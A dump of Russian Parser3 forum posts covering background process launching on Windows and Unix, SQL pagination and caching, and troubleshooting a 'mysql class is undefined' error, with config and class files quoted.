"75654","Есть сайт на парсере, к нему надо прикрутить запуск и остановку приложения, чтобы не давать терминальный доступ.\
Остановку сделал через вызов taskkill, работает, т.к. программа выгружается после вызова.\
Остается только запуск.\
\
Есть в парсере способ запустить скрипт/приложение и не дожидаться окончания его работы?"
"75655","Запускать программы разными способами умеет shell.\
\
И на свойство процесса умирать при завершении запускающего процесса парсер повлиять не может.\
\
Вас думаю интересует примерно такая команда:\
\
nohup what.you.need >execute.log &"
"75656","Пишут, что это для никсов, а мне нужно решение для винды."
"75657","Надо добавить &, чтобы процесс запустился в background."
"75658","В Windows аналогом является команда start.\
\
http://ss64.com/nt/start.html"
"75659","В первом посте писал, что создавал батник с текстом \"start calc.exe\", запускал его из парсера, но не помогло.\
\
Если запускать без батника, то нужно знать полный путь к приложению.\
В случае start не в курсе, какой путь прописывать."
"75660","Взять [url=\"http://technet.microsoft.com/ru-ru/sysinternals/bb897553.aspx\"]тулзу[/url].\
В батнике прописать:\
[code]psexec -isd \"c:\\windows\\system32\\calc.exe\"[/code]\
\
Это и будет некоторый аналог nohup."
"75661","Гуглится немного не в том направлении.:)\
Интересует решение на парсере без сторонних программ."
"75662","А start и calc (как пример) не сторонние программы? И nohup в линуксе туда же."
"75663","calc - это приложение, которое нужно запустить.\
start - не знаю полный путь, иначе попробовал бы запустить calc через него с помощью exec.\
\
Интересует возможность запуска приложения через парсер без привлечения того, чего нет в системе.\
Каков полный путь к start?"
"75665","Это я понял, потому и спросил про путь, т.к. в exec надо указывать полный путь к запускаемому приложению."
"75666","А вы попробуйте без полного пути и увидите, что всё работает.\
Но через start парсер будет ждать завершения процесса."
"75667","Это я описал в первом посте, не подходит.\
Нужен запуск и продолжение работы парсерного скрипта, не дожидаясь, когда запущенное приложение закончит работу."
"75668","Или возьмите нативный [url=\"http://ru.wikipedia.org/wiki/Windows_Script_Host\"]Windows Script Host[/url] и напишите свой скрипт для запуска."
"75669","Идея с кроном была, но как-то не гуд она. Ставить раз в минуту проверку появления файла, делать лок при запуске обновления, куда-то отправлять отчет об успешом/не успешном выполнении + время реакции. Люди они такие, тыркнули на кнопочку и хотят получить результат)."
"75670","Я немного путаюсь в этих всех пере направлениях вывода\
так будет правильно?\
nohup ./update.sh > ./../../data/tmp/update.log 2>&1 &"
"75671","В этом случае в update.log будет писаться и вывод скрипта update.sh и его же ошибки, в случае их возникновения.\
\
Если ошибки нужно писать отдельно, то:\
[code]nohup ./update.sh > ./../../data/tmp/update.log 2> ./../../data/tmp/update_error.log &[/code]\
\
Но! В таком варианте оба файла логов будут перезаписываться каждый раз при запуске скрипта. Есле нужно дописывать файлы, т.е. вести нормальный лог, то:\
[code]nohup ./update.sh >> ./../../data/tmp/update.log 2>> ./../../data/tmp/update_error.log &[/code]"
"75672","Я знаю разницу между >> и > +).\
Я просто путаюсь в этих магических конструкциях 2>&1, вроде постепенно начал доходить их смысл. Меня интересует один общий лог файл, его так проще клиенту выводить. Второй раз они не запустят апдейт, у меня реализован лок\
[code]echo $$ > .pid[/code]\
а в парсере\
[code]^if(-f \"${pathTmpDir}.pid\"){\
		$status[^file::exec[status.sh;;${pathTmpDir}.pid]]\
		^if($status.status == 0){[/code]{...}{...}\
}\
где status.sh\
[code]#!/bin/sh\
pid=`cat ./../../data/tmp/.pid`\
if `kill -CHLD $pid >/dev/null 2>&1`\
	then exit 0\
	else exit 1\
fi[/code]\
Пишу отдельный скрипты, чтоб проще было с шелом работать, а то указывать каждый раз пути не удобно )."
"75673","У нас например стоят лимиты CPU и памяти на cgi скрипты, поэтому ничего сверхобъемного cgi скрипт (или запущенный им процесс) все равно сделать не сможет. На скрипты, запускаемые из cron лимиты тоже есть, но гораздо более либеральные. Так что и от настроек окружения многое зависит."
"75674","Да и пользователь вполне спокойно подождет, если вы ему напишете, что задача поставлена в очередь и результат будет через несколько минут (часов, дней :). Задачи можно складывать в базу, хороший алгоритм описан в статье Якова Сироткина - http://telamon.ru/articles/async.html\
\
У него пример для Оракла, но я похожий алгоритм использовал для работы с Кошельком Киви: счета хранил в таблице MySQL, а при поиске счетов для проверки использовал синтаксис [url=http://dev.mysql.com/doc/refman/5.0/en/innodb-locking-reads.html]select ... for update[/url]."
"75675","вы работаете с ограниченными ресурсами.\
делаете заведомо долгую работу.\
в этом случае запросто можете не вписаться в имеющиеся ресурсы (процессорное время, память и timeout браузера).\
\
например вчера сервер был не нагружен, поэтому sql скрит загрузился на 2.5 мин, и браузер дождался ответа.\
\
сегодня сервер был загружен и загрузка данных происходила 3.5 мин и браузер отвалился по таймауту.\
\
пользователь от таких неопределённостей ни фига не счастлив (нет ничего хуже, когда система то работает, то -- нет). к тому-же ему придётся повторно качать на сервер большой файл (а каналы бывают несимметричные + медленные, т.е. upload больших файлов может быть не в радость).\
\
если подумать заранее и сразу сделать как следует, то как раз пользователь страдать не будет.\
\
например:\
файл загрузился, вы его записали, поставили нужные флаги для cron-а и пользователю в окошке написали, что обработка начнётся через 3 мин. 40 сек (вам известно когда запускается скрипт обработки из крона, т.е. можете посчитать).\
заодно браузеру отдали указание сделать refresh через эти самые 3:40\
пройдёт это время -- браузер сам обновит страницу и пользователь увидит сообщение, что данные загружаются (или распаковываются, ведь вы из sh-скрипта тоже можете выставлять флаги текущего состояния).\
очередной авто-рефреш через 30 сек -- и довольный пользователь видит или \"данные загружаются\" или \"данные успешно загружены\".\
\
при этом и серверные ресурсы вы сберегли: не создавали один долгий процесс, потребляющий много памяти который мог-бы и не вписаться в лимиты), который должен был сначала получить многомегабайтный файл от пользователя (в память), потом сохранить, потом выполнить пару долгих внешних скриптов (распаковка + загрузка данных)."
"75676","я как раз таки и хочу разгрузить время выполнения и запустить скрипт апдейта в отдельном потоке.\
Мне не понятно почему, парсер [b]не может[/b] запустить запустить процесс и забыть о нем, не дожидаясь пока он будет выполнен.\
Единственный плюс крона - возможно другие переменные окружения и лимиты на выполнение. Если же таковых лимитов нет, я подозреваю у меня что в кроне, что процесс запущенный из cgi окружения выполняются с одинаковыми лимитами и приоритетами. То почему я не могу запустить такой процесс из парсера напрямую?\
Я изначально заложил моменты, ожидания выполнения скрипта на сервере с выводом текущей обстановки в лог файл."
"75677","... что вполне логично и правильно. Если необходимо иное поведение, то это делается на уровне ОС через внешние программы, о чем в этой ветке подробно писали.\
\
p.s. Тот способ, который вы упорно хотите использовать, конечно, имеет право на жизнь, но для выполнения асинхронных задач есть более простые и надежные способы."
"75679","Написал .vbs из двух строк, запустил через wscript/cscript.\
Только приложение запускается с правами пользователя, запустившего апач, т.е. SYSTEM.\
\
Сделать RunAs через vbs пока не получилось, брал рабочий код из VB 6.0, но vbs ломается сразу на объявлении типов и функций.\
\
Это уже не к парсеру.:)"
"75681","Приложение - калькулятор.\
1. Содержимое файла C:\\1.vbs:\
[code]Set WshShell = WScript.CreateObject(\"WScript.Shell\")\
WshShell.Run \"C:\\windows\\system32\\calc.exe\"[/code]\
\
2. Запуск:\
[code]$fFile[^file::exec[C:\\WINDOWS\\system32\\wscript.exe;;C:\\1.vbs]][/code]\
или\
[code]$fFile[^file::exec[C:\\WINDOWS\\system32\\cscript.exe;;C:\\1.vbs]][/code]\
\
3. Закрытие всех экземпляров:\
[code]$fFile[^file::exec[c:\\windows\\system32\\taskkill.exe;;/F;/FI;\"IMAGENAME eq calc.exe\"]][/code]\
\
Не стал сразу публиковать код, т.к. посчитал, что для форума парсера это не нужно.:)"
"75682","[url=\"http://www.visualbasicscript.com/using-RunAs-on-vbscripts-m35654.aspx\"]Готовые примеры[/url]"
"75683","Уже читал, но это извратный способ, да и работать должен при нахождении в системе, а запуск в моем случае будет вне профиля, пример из подобных тем не сработал."
"75684","Вы же можете сменить юзера от которого запускается апач."
"75685","Не могу, но можно использовать любую прогу, которая запускает приложение от имени пользователя.\
На VB 6.0 я такую писал, но для других целей.\
\
Сейчас у меня уже нет такого компилятора, поэтому пробую через vbs, иначе поправил бы исходники и передавал бы параметрами логин и пароль."
"75686","Приглашаем на удалёнку парсер-программиста. Обязателен опыт работы с xml и веб-сервисами.\
\
Пишите на liepa21@mail.ru"
"75688","Генерируется строка вида:\
[code]1 eq 1 || 1 eq 2[/code]\
Можно ли как-то узнать true или false?\
Пробовал оборачивать строку в ^process, делать ^str.bool[]\
Получаю ошибку:\
[code]'1 eq 1 || 1 eq 2' invalid number (int)[/code]"
"75689","[code]^process{^^if(^tType.menu{$tGenplan.type eq $tType.piece}[ || ])^{1^}^{0^}}[/code]"
"75690","[code]\
  $cond(false)\
  ^type.menu{\
     ^if($genplan.type eq $type.piece){\
       $cond(true)\
       ^break[]\
     }\
   }\
[/code]\
\
Или еще проще:\
[code]\
   $cond(^type.locate[piece;$genplan.type])\
[/code]"
"75691","$empty[]\
$t[^empty.split[divider;v]]\
^t.count[] = 1 \
\
$empty[something]\
$t[^empty.split[divider;v]]\
^t.count[] = 1\
\
Reference:\
$t[^table::create{piece}] \
^t.count[] = 0\
\
3.4.1 (compiled on i386-pc-win32)"
"75693","А именно [b]Пример горизонтального разбиения[/b] там 0 пустой +)"
"75694","Нужно переделать код. С парсером практически не работал, потому вопрос наверно простой )) Как передать в метод объект\
Вот такой вариант не работает, а как правильно?\
[code]\
$t[^table::sql{SELECT * FROM users}]\
^func($t)\
\
@func[p]\
$p.id\
[code]"
"75695","Объект передаётся в квадратных скобках.\
\
Но ваш код, даже после правки скобок, будет выводить ID первого пользователя из списка в 500 миллионов выбранных вашим запросом."
"75696","В cvs исправлено:\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/pa_string.C\
\
Это правда не совсем баг, изменение было осознанное, но не продуманное. :)"
"75697","если я правильно понял, то:\
\
[code]\
$hType[^tType.hash[piece]]\
$tGenplan[^tGenplan.select($hType.[$tGenplan.type])]]\
[/code]\
\
ещё вариант, уже без hash (по сути то-же самое, что предложил Олег):\
[code]\
@your_method[]\
$tGenplan[^tGenplan.select(^selected[$tGenplan])]]\
\
@selected[hItem]\
$result(^tType.locate[piece;$hItem.type])\
[/code]\
\
P.S. process не нужен в 99% мест, где вначале возникает желание его воткнуть."
"75699","Спасибо, это прям мастер класс с вашей стороны, не думал что хеш можно использовать для таких целей.\
\
Теперь понял как работает второй способ."
"75700","Достаточно часто встречающаяся ситуация - постраничный вывод товаров, отобранных по определенным параметрам.\
Как в таких случаях снизить количество запросов к базе и вообще ненужные расчеты?\
\
В некоторых местах нарочно привел методы \"в лоб\", не включая свой взгляд на оптимизацию кода.\
\
\
[code]@content[]\
\
#условия запросов данных, например \"dlina > $form:dlina AND ves = $form:ves AND cena < $form:cena\"\
$zapros[условия запроса]\
\
#вычисляем количество строк, согласно запросу\
$tovarCount[^int:sql{SELECT COUNT(id) FROM tovar WHERE $zapros}]\
\
#выводим верхнюю постраничную навигацию\
^pager[$tovarCount;$limit_;page]\
\
#выбираем строки, согласно запросу\
$tovar[^table::sql{SELECT id FROM tovar WHERE $zapros LIMIT ^eval($limit_*($page_-1)), $limit_}]\
\
^tovar.menu{\
	^show_tovar[$tovar.id]\
}[<br>]\
\
#выводим нижнюю постраничную навигацию\
^pager[$tovarCount;$limit_;page]\
\
\
@show_tovar[_id]\
$_tovar[^table::sql{SELECT * FROM tovar WHERE id = $_id}]\
ID: $_tovar.id<br>\
Название: $_tovar.name<br>\
Длина: $_tovar.dlina<br>\
Вес: $_tovar.ves<br>\
Цена: $_tovar.cena<br>\
\
[/code]"
"75701","Начиная с \
#выбираем строки, согласно запросу\
\
переписать так, чтобы сразу всё получить, а не дергать ^show_tovar по каждому id\
Типа так:\
[code]$_tovar[^table::sql{SELECT id,name,dlina,ves,cena FROM tovar WHERE $zapros LIMIT ^eval($limit_*($page_-1)), $limit_}]\
^_tovar.menu{\
ID: $_tovar.id<br>\
Название: $_tovar.name<br>\
Длина: $_tovar.dlina<br>\
Вес: $_tovar.ves<br>\
Цена: $_tovar.cena<br>	\
}[<br>][/code]\
\
И конечно, читать рекомендации в документации ;)\
Не использовать select *\
Моветон это."
"75702","+ вместо pager можно посмотреть на [URL=/examples/mscroller/]класс[/URL] для построения постраничной навигации из примеров, там сразу будут для вас рассчитаны значения для limit и offset и не надо будет такие страшные конструкции выносить в часто-читаемое место.\
\
P.S. ух какая древность там выложена. надо будет обновить при случае."
"75703","В реальности функции подобные @show_tovar[] гораздо массивнее в объеме, и часто оспользуются из разных мест. Отдельно вынесено не зря.\
\
Про Select * согласен, принято."
"75704","На самом деле ^pager это и есть scroller, указанный вами. Я сократил его немного в примере.\
\
А про SELECT FOUND_ROWS() не знал, учтем и это."
"75705","На данный момент упростили до следующего\
\
[code]@content[]\
\
#условия запросов данных, например \"dlina > $form:dlina AND ves = $form:ves AND cena < $form:cena\"\
$zapros[условия запроса]\
\
#выбираем строки, согласно запросу\
$tovar[^table::sql{SELECT SQL_CALC_FOUND_ROWS id FROM tovar WHERE $zapros LIMIT ^eval($limit_*($page_-1)), $limit_}]\
\
#вычисляем общее количество строк, согласно запросу\
$tovarCount[^int:sql{SELECT FOUND_ROWS()}]\
\
#выводим верхнюю постраничную навигацию\
^pager[$tovarCount;$limit_;page]\
\
^tovar.menu{\
	^show_tovar[$tovar.id]\
}[<br>]\
\
#выводим нижнюю постраничную навигацию\
^pager[$tovarCount;$limit_;page]\
\
\
@show_tovar[_id]\
$_tovar[^table::sql{SELECT id, name, dlina, ves, cena, text FROM tovar WHERE id = $_id}]\
ID: $_tovar.id<br>\
Название: $_tovar.name<br>\
Длина: $_tovar.dlina<br>\
Вес: $_tovar.ves<br>\
Цена: $_tovar.cena<br>[/code]"
"75706","Подход верный, но можно добавить кеширование для каждого товара.\
Тогда на страницах со списком товаров надо получать список id (как сейчас) и доставать инфу о товаре по одному: из кеша, если есть; из базы, если нет в кеше + тут же класть в кеш.\
\
На страницах с товаром тоже самое только для одного id (товара).\
Т.е. товар -- объект, который писан в базе, но информация о нём может быть атомарно закеширована.\
\
Важно учесть, что скорость работы с кешем (диском) может быть меньше, чем запрос в базу данных. А в случае с интернет магазином и большим количеством товаров кеш будет занимать много места на диске и, по сути, быть избыточным звеном."
"75707","Я даже думал кешировать страницы целиком, но запросы всегда разные и на все случаи жизни не напасешься.\
\
Каждый товар в отдельности закешировать можно, только как определить ту грань, когда кешировать уже нужно?\
И не даст ли дополнительную нагрузку в .menu{} проверка условия ^if(def /cache/$tovar.id), если этих файлов тысячи?\
\
Данные и из базы и из кеша достаются не большие, но часто."
"75708","У парсера есть встроенный класс кеширования, который сам проверяет наличие файлов, их валидность и время жизни.\
\
Грань определять не надо. Запрос данных происходит при обращении к объекту (товару), а будут они из кеша или из базы знает сам объект.\
\
В menu оно, действительно, будет перебирать файлы. Но тут надо определиться, что сложнее и дороже по ресурсам в вашей системе -- тяжёлый запрос из базы или чтение кеша с диска.\
\
Если запросы лёгкие, то кеширование не нужно. Можно саму базу и запросы оптимизировать.\
\
Опять же, можно в разных местах доставать инфу о товаре по-разному: если список, то одним запросом для всех товаров (такой вариант уже предлагали), если товар -- один запрос на товар.\
Но мне такая схема не нравится, они не гибкая, отсутствует объектная модель."
"75709","Как бы объектная модель выглядела на данном небольшом примере?"
"75711","Не совсем про навигацию, но: @show_tovar (б-р-р название) можно переписать так, чтобы он учитывал тип переданного параметра и ожидал объект или строку/число.\
\
Тогда ^show_tovar(123) сходит в базу и достанет товар по ID, а ^show_tovar[$table.fields] для строки уже имеющейся таблицы просто выведет значения.\
\
Это универсальный, но не красивый подход.\
\
Лучше так:\
@getGoods[…] — выбирает список товаров, возвращает таблицу;\
@getOneOfGoods[ID] — выбирает товар по ID, возвращает хэш;\
@printOneOfGoods[hash] — выводит поля товара.\
\
Таким образом будут разделены данные и их представление, и метод вывода полей не будет ходить в базу, а заниматься строго своими обязанностями, понятия не имея о том, где и как хранятся товары.\
Ровно как и методы выборки не будут ничего знать о том, как данные форматируются и куда выводятся.\
\
Посмотрите на код, если вперемешку идут запросы к базе (написанные снова и снова для одних и тех же действий), постобработка и вывод — это сигнал о том, что стоит навести порядок."
"75712","Использование индексов, сортировка и устранение \"дыр\" в файле таблицы, памяти побольше в настройках и т.п.?"
"75713","... но и выбор правильных движков для таблиц, настройка сервера, индексы и пр. безусловно имеют значение. \
\
Скажем, комбинация innodb-таблиц, кеш запросов, разумная денормализация данных и правильная настройка сервера делают использование кеша на стороне Парсера практически бессмысленным. Другое дело, что не все имеют собственный сервер или в состоянии грамотно настроить MySQL на виртуальных машинах. :)"
"75714","Например при выборке данных за определенный период, не делать преобразование дат на стороне mysql, а отдавать именно правильную дату.\
Избегать любых вычеслений на стороне сервера, например для новостей.\
Новости вносятся в базу заранее и показываются, только тогда когда дата публикации прошла. Можно это сделать через \
[code]WHERE dPublish <= now()[/code]\
Но такой запрос не попадет в кеш при самых правильных настройках, но если заменить now() на текущую дату в текстовом(числовом) значении, все поменяется в лучшую сторону."
"75715","Добрый день!\
Сайт был перенесен со сервера (freebsd) на новый (linux) и поставлена версия парсера 3.4.0\
Появилась ошибка \"mysql class is undefined\"\
В конфигурационном файле $CLASS_PATH и вызовы прописаны.\
\
В чем может быть причина?"
"75718","Все прописано\
@USE\
mysql.p\
lib.p\
dtf.p\
vote.p\
antiflood.p\
calendar.p\
poll.p\
sql.p\
\
тем более, что раньше все работало"
"75720","\"раньше работало\" -- не аргумент, ведь вы что-то меняли :)\
\
если бы не находился путь, то была-бы другая ошибка (о том, что не может быть найден файл).\
в вашем случае скорее всего этот @USE не выполняется, т.к. если-бы он выполнялся, то класс был-бы определён."
"75721","Миша, добрый день! Почему он может не выполнятся? Поставил вызов ^use[/classes/mysql.p] - то же самое"
"75722","Поставил вызов ^use[/classes/mysql.p] - то же самое"
"75723","[code]\
@USE\
mysql.p\
[/code]\
\
и\
\
[code]\
^use[/classes/mysql.p]\
[/code]\
\
-- две большие разницы (обратите внимание на начальный слэш).\
почему у вас что-то не подключается я не знаю, т.к. чтобы что-то посоветовать надо знать где у вас что лежит.\
\
P.S. простейший способ проверить подключается ли файл с классом: добавить в него метод @auto[] с ^throw[zzz;I'm working]"
"75725","[code]################################################################################################################################\
# $Id: mysql.p,v 1.24 2005/03/02 10:38:30 misha Exp $\
################################################################################################################################\
\
\
@CLASS\
mysql\
\
@USE\
sql.p\
\
@BASE\
sql\
\
\
\
###########################################################################\
@auto[]\
$server_name[mysql]\
#end @auto[]\
\
\
\
###########################################################################\
@init[connect-string;params]\
^BASE:init[$connect-string;$params]\
#end @init[]\
\
\
\
###########################################################################\
###########################################################################\
# РАБОТА С ДАТАМИ\
\
###########################################################################\
@today[]\
$result[CURDATE()]\
#end @today[]\
\
\
###########################################################################\
@now[]\
$result[NOW()]\
#end @now[]\
\
\
###########################################################################\
@year[source]\
$result[YEAR($source)]\
#end @year[]\
\
\
###########################################################################\
@month[source]\
$result[MONTH($source)]\
#end @month[]\
\
\
###########################################################################\
@day[source]\
$result[DATE_FORMAT($source,'%d')]\
#end @day[]\
\
\
###########################################################################\
@ymd[source]\
$result[DATE_FORMAT($source,'%Y-%m-%d')]\
#end @ymd[]\
\
\
###########################################################################\
@date_diff[t;dt_from;dt_to]\
$result[^if(def $dt_to){TO_DAYS($dt_to)}{^now[]} - TO_DAYS($dt_from)]\
#end @date_diff[]\
\
\
###########################################################################\
@date_sub[date;days]\
$result[DATE_SUB(^if(def $date){$date}{^today[]},INTERVAL $days DAY)]\
#end @date_sub[]\
\
\
# функции, имеющие аналоги не во всех серверах\
###########################################################################\
#----- не работает, заменителя не знаю\
@date_add[date;days]\
$result[]\
#end @date_add[]\
\
\
###########################################################################\
# нету у MSSQL\
@date_format[source;format_string]\
$result[DATE_FORMAT($source, '^if(def $format_string){$format_string}{%Y-%m-%d}')]\
#end @date_format[]\
\
\
\
###########################################################################\
# РАБОТА С LAST_INSERT_ID()\
\
###########################################################################\
@last_insert_id[table]\
$result(^int:sql{SELECT DISTINCT last_insert_id() FROM $table}[$.default{0}])\
#end @last_insert_id[]\
\
\
###########################################################################\
@set_last_insert_id[table;field]\
$result(^last_insert_id[$table])\
^void:sql{UPDATE $table SET ^if(def $field){$field}{sort_order} = $result WHERE ${table}_id = $result}\
#end @set_last_insert_id[]\
\
\
\
###########################################################################\
###########################################################################\
# РАБОТА СО СТРОКАМИ\
\
###########################################################################\
@substring[source;pos;length]\
$result[SUBSTRING($source,^if(def $pos){$pos}{1},^if(def $length){$length}{1})]\
#end @substring[]\
\
\
###########################################################################\
@upper[field]\
$result[UPPER($field)]\
#end @upper[]\
\
\
###########################################################################\
@lower[field]\
$result[LOWER($field)]\
#end @lower[]\
\
\
###########################################################################\
@concat[params]\
$result[CONCAT($params)]\
#end @concat[]\
\
\
\
###########################################################################\
###########################################################################\
# РАЗНОЕ\
\
###########################################################################\
@password[pass]\
$result[PASSWORD($pass)]\
#end @password[]\
\
\
###########################################################################\
@left_join[type;table;join_conditions;last]\
^if(^type.lower[] eq \"from\"){\
	$result[LEFT JOIN $table ON ($join_conditions)]\
}{\
	$result[1 = 1 ^if(!def $last){ AND}]\
}\
#end @left_join[]\
\
\
\
###########################################################################\
# перекрываем заглушку для того, чтобы для каждого запроса получать explain информацию\
@_get_query_detail[type;query;sql_options][eres;cols]\
^if(def $query && $type ne \"void\"){\
	^try{\
		$eres[^table::sql{explain $query}[^if($sql_options is \"hash\"){^if($sql_options.offset){$.offset($sql_options.offset)}^if($sql_options.limit){$.limit($sql_options.limit)}}]]\
		$cols[^eres.columns[]]\
		$result[EXPLAIN:^#0A^cols.menu{$cols.column}[^#09]^#0A^eres.menu{^cols.menu{$eres.[$cols.column]}[^#09]}[^#0A]]\
	}{\
		$result[]\
		$exception.handled(1)\
	}\
}{\
	$result[]\
}\
#end @_get_query_detail[]\
\
[/code]"
"75727","в конфигурационном файле\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
в корне\
@USE\
mysql.p\
lib.p\
dtf.p\
vote.p\
antiflood.p\
calendar.p\
poll.p\
sql.p\
\
Все файлы с классами лежат в папке classes"
"75728",">> ^use[/classes/mysql.p]\
В каком файле и секции конкретно вы это прописали? приведите значимый кусочек этого файла"
"75729","@auto[]\
$MAIN:pSQL[^mysql::init[mysql://www@localhost/base;\
$.is_debug(1)\
$.sCacheDir[/data/sql_cache]\
]]\
^use[/classes/mysql.p]\
\
@USE\
mysql.p\
lib.p\
dtf.p\
vote.p\
antiflood.p\
calendar.p\
poll.p\
sql.p"
"75731","то же самое"
"75732","Что-то сказочное. use не ругается, значит файл находит, а класс тем не менее undefined.\
\
Вы не написали в каком именно файле у вас этот код прописан"
"75733","в корневом auto.p"
"75734","А полностью текст ошибки можете привести?"
"75735","[Mon Sep  5 14:33:01 2011] [28354] /: 'mysql' class is undefined [parser.runtime] [uri=/, method=GET, cl=0]"
"75736","Может ли быть проблема в сборке парсера? Или настройках сервера?"
"75737","Варианты кончились... если дадите доступ к серверу - могу посмотреть"
"75738","у меня такая ошибка выглядит явно по другому:\
[quote][Mon Sep 05 14:25:10 2011] [2840] /test/my/: путь/index.html(5:8): 'mysql' class is undefined [parser.runtime] [uri=/test/my/, method=GET, cl=0][/quote]\
\
\
У вас случайно вызов конструктора mysql в конфигурационном auto.p не прописан?"
"75739","Странно. Путь находится, если удалить файл mysql.p, то пишет, что он не найден...\
\
Что касается конфигурационного:\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$CLASS_PATH[^table::create{path\
/classes/\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
# mysql 3.xx & 4.0\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
# mysql 4.1 and higher\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251]\
#$SQL.connect-string[sqlite://db]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
\
[/code]"
"75742","Миша, если удалить файл mysql.p, то пишет, что по файл не найден. Т.е. файл по указанному в $CLASS_PATH пути ищется.\
\
При добавлении ^throw[zzz;I'm working] в @auto[] - ничего не выдает, все та же ошибка. Получается, что класс не подключается..."
"75743","тогда не представляю что может быть.\
\
- версия linux-а?\
- парсер сами собирали?\
- можно увидеть результаты работы _test.html?"
"75744","Возможно их несколько, причем в остальных класс mysql не определен.\
А при переезде файлы были записаны в другом порядке, и теперь ищутся тоже в другом порядке."
"75745","1. centos 5 32bit\
2. Да\
3. [Mon Sep  5 15:26:17 2011] [28627] /_test.html: 'mysql' class is undefined [parser.runtime] [uri=/_test.html, method=GET, cl=0]"
"75746","Один, в папке /classes/"
"75747","Миша, а по какой причине парсер может не писать номер строки в которой случилась ошибка runtime?"
"75748","- попробуйте собранный нами\
- то, что вы привели -- это запись из error.log, а не результаты работы [URL=http://www.parser.ru/f/1/download/utils/parser3test_russian.zip]_test.html[/URL]"
"75750","1. Не нашел у вас сборку под centos 5 32bit, можно ссылочку\
2. В смысле выдает то же сообщение \"mysql class is undefined\""
"75751","Миша имеет ввиду, что нужен вывод _test.html\
Переименуйте времено auto.p в другое имя или закоментируйте его содержимое, чтобы парсер не падал на этой ошибке и обратитесь к тестовому файлу, результат приведите сюда."
"75752","http://old.easttime.info/_test.html"
"75753","1. если посмотреть на вывод таблицы $SQL.drivers, то можно заметить, что для протокола mysql строка в таблице некорректная. скорее всего кто-то между \"mysql\" и \"./lib/libparser3mysql.so\" написал пробел вместо символа табуляции. но я не знаю, как это может влиять на возникающую у вас ошибку (хотя из-за этого вы с mysql сервером работать не сможете).\
\
2. у нас не находится файл клиентской библиотеки mysql: /usr/lib/mysql/libmysqlclient.so.15 (не найден) -- проверьте, что он есть по указанному пути.\
\
3. если ещё внимательнее посмотреть на результат вывода _test.html и на [url=/forum/?id=75739]код вашего конфигурационного auto.p[/url], то можно заметить, что пути к библиотекам не идентичны (в приведённом вами коде написано \"libmysqlclient.so\", а тестовый файл показывает \"/usr/lib/mysql/libmysqlclient.so.15\"). т.е. похоже, что вы не в курсе, где-же на самом деле живёт ваш конфигурационный auto.p и показываете нам что-то другое.\
\
4. определите в конфигурационном auto.p переменную $SQL.connect-string, чтобы тестовый файл попробовал проверить работу с SQL сервером.\
\
5. смысл вызова и unhandled_exception_release и unhandled_exception_debug мне непонятен. надо вызывать ИЛИ один (на рабочем сервере) ИЛИ другой (на сервере разработке или для вас по IP)\
\
6. попробуйте взять нашу сборку для RedHat\
\
